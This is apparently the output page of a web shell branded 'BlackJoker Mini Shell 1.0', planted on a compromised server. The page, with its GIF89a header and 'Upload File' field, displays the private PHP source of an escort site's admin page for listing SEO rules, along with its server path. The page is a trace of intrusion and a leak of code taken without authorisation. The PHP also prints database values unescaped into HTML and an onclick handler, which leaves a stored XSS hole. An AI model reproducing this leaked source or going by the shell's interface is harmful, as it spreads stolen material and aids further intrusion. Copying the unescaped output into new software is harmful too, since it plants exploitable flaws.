GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/www/admin/
Upload File :
Current File : /home/serb/www/admin/list_seo.php

<?php
include("sessionout.php");
include("../lib/globals.php");
include("../lib/common.php");
include("../lib/functions.php");
include("../lib/pager.php");

$page = isset($_GET['page']) ? $_GET['page'] : 1;

// get the pager class implemented
$count_sql="SELECT COUNT(id) FROM seo_content";
$count_rs=execute_query($count_sql);
$count_row=mysql_fetch_array($count_rs, MYSQL_NUM);

$count=$count_row[0];
$data = array();
if($count > 0) {
	$limit = 25;
	// work out the pager values 
	$pager  = Pager::getPagerData($count, $limit, $page);
	$offset = $pager->offset;
	$limit  = $pager->limit;
	$page   = $pager->page;

	$sql = "SELECT * FROM seo_content ORDER BY id LIMIT $offset,$limit";
	$resource = execute_query($sql);
	while(($v = mysql_fetch_array($resource))) {
		if ($v['seo_match'] == '*') {
			$v['seo_match'] = 'Default Match';
		}
		$data[] = $v;
	}
} 

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
	<title>:: Escortseries | Admin ::</title>
	<link href="../style.css" rel="stylesheet" type="text/css" />
	<script type="text/javascript">
	function del_record(id, title, page) {
		if(confirm("Sure to delete the SEO rule #"+id+" ("+title+") with all it's references ?")) {
			window.location.href="delete_seo.php?id="+id+"&page="+page;
		}
	}
	</script>
</head>
<body>
	<table width="790" border="0" align="center" cellpadding="0" cellspacing="0">
		<tr>
			<td align="left" valign="top"><table width="790" border="0" cellspacing="0" cellpadding="0">
				<tr>
					<td align="left" valign="top" class="td1"><table width="790" border="0" cellspacing="0" cellpadding="0">
						<table border="0" align="center" cellpadding="0" cellspacing="0">
							<tr>
								<td width="343" align="left" valign="top">&nbsp;</td>
								<td width="447" align="left" valign="top">&nbsp;</td>
							</tr>
							<tr>
								<td height="38" align="right" valign="middle" class="topnav"><p style="margin-left:23px;"><img src="img/logo.png" /></p></td>
								<td align="center" valign="middle" class="footer-link">Administrator Control Panel</td>
							</tr>
						</table>
					</td>
				</tr>
				<tr>
					<td align="left" valign="top" class="td2">&nbsp;</td>
				</tr>
			</td>
		</tr>
		<tr>
			<td align="center" valign="top" class="td3"><table width="780" border="0" cellspacing="0" cellpadding="0">
				<tr>
					<td height="5"></td>
				</tr>
				<tr>
					<td align="center" valign="top" class="td4"><table width="768" border="0" cellspacing="0" cellpadding="0">
						<tr>
							<td height="6"></td>
						</tr>
						<tr>
							<td align="center" valign="top" class="td5">&nbsp;</td>
						</tr>
						<tr>
							<td align="center" valign="top" class="td9"><table width="751" border="0" align="center" class="bordermain">
								<tr>
									<td><?php include("menu.php");?></td>
								</tr>
								<tr>
									<td>&nbsp;</td>
								</tr>
								<tr>
									<td align="center">
										<table width="735" border="0">
											<tr>
												<td width="82%" align="right">&nbsp;</td>
												<td width="18%" align="left"><a href="add_seo.php" class="footer-link">Add New Entry</a>&nbsp;</td>
											</tr>
										</table>
									</td>
								</tr>
								<tr>
									<td align="center">
										<table width="100%" border="0" align="center" cellpadding="0" cellspacing="1">
											<tr>
												<td colspan="7" class="tblHeader2">List of Entries (<?php echo $count;?>)</td>
											</tr>
											<tr align="center" class="tableSubHeader">
												<td width="405" height="19">Matching</td>
												<td width="155">Title</td>
												<td width="155">Modify</td>
												<td width="155">Delete</td>
											</tr>
											<?php
											if (count($data)) {
												foreach($data as $i => $v) {
													$class = $i%2 == 0 ? "alterClass1" : "alterClass2";
													?>
													<tr align="center" height="22" class="<?php echo $class;?>" onmouseover="this.className='mouseOver'" onmouseout="this.className='<?php echo $class;?>'">
														<td width="405" align="left" style="padding-left:10px;" valign="top" class="gtext5">
															<?php echo stripslashes($v['seo_match']); ?>
														</td>
														<td width="155" valign="top">
															<?php echo stripslashes($v['title']); ?>
														</td>
														<td width="155" valign="top">
															<a href="add_seo.php?id=<? print $v['id'];?>&page=<?=$page;?>"><img src="img/bEdit.png" alt="Modify Details" width="16" height="16" border="0" /></a>
														</td>
														<td width="155" valign="top"><a href="#" onclick="del_record('<?php print $v['id'];?>','<? print $v['seo_match'];?>', '<?php echo $page; ?>');"><img src="img/bDrop.png" width="16" height="16" border="0" alt="Delete record"/></a></td>
													</tr>
														<?php
														}
													} else { ?>
													<tr>
													<td height="100" colspan="7" class="Special">No Entries Found</td>
													</tr>
													<?php } ?>
												</table>
											</td>
										</tr>
										<tr>
											<td align="center" valign="top" class="td9">&nbsp;</td>
										</tr>
										<tr>
											<td width="232" align="center" valign="top" class="td9">

												<? 
												if($prod_cnt > 0)
												{
													?>
													<table border="0" cellpadding="0" cellspacing="0" width="26%" align="center">
														<!-- Paging display Start Table 4-->
														<tbody>
															<tr>
																<td align="right">
			<?php /* <font color="#686869" face="Arial, Helvetica, sans-serif" size="1"> <?php/* if ($page == 1) // this is the first page - there is no previous page 
			echo "&nbsp;";  
				else            // not the first page, link to the previous page 
				echo "<a href=\"list_page_content.php?page=" . ($page - 1) . "\"class=\"footer-link\"><a href=\"list_page_content.php?page=" . ($page - 1) . "\"class=\"footer-link\">Previous</a>&nbsp;";  
				?>
			</font></td>
			<td align="left"><font color="#686869" 
				face="Arial, Helvetica, sans-serif" 
				size="1">
				<?
				for ($i = 1; $i <= $pager->numPages; $i++) {  
					echo "";  
					if ($i == $pager->page)  
						echo "[".$page."]&nbsp;";  
					else  
						echo "<a href=\"list_page_content.php?&page=$i\"class=\"footer-link\">$i</a> ";  
				} ?>
			</font></td>
			<td align="left"><font color="#686869" 
				face="Arial, Helvetica, sans-serif" 
				size="1">
			<?	if ($page == $pager->numPages) // this is the last page - there is no next page 
			echo "&nbsp;";  
					else            // not the last page, link to the next page 
					echo "<a href=\"list_page_content.php?page=" . ($page + 1) ."\"class=\"footer-link\">&nbsp;Next</a>";  
					?>
				</font> */ ?></td>
			</tr>
		</tbody>
	</table>
	<? 
}
else
{
	?>
	&nbsp;
	<? 
}
?>			</td>
</tr>
<tr>
	<td align="center" valign="top" class="td9">&nbsp;</td>
</tr>
<tr>
	<td height="6"></td>
</tr>
</table></td>
</tr>

</table></td>
</tr>
<tr>
	<td align="center" valign="top" class="td3"><table width="780" border="0" cellspacing="0" cellpadding="0">
		<tr>
			<td align="center" valign="top" class="footer-bac">
				<p style="text-align:center; padding:35px 0 5px 0px;"><a href="main.php" class="footer-link">Administrator Control Panel </a></p>
				<p class="footer-text1" style="text-align:center;">Escortseries</p>
			</td>
		</tr>
	</table></td>
</tr>
</table>
</body>
</html>

./BlackJoker Mini Shell 1.0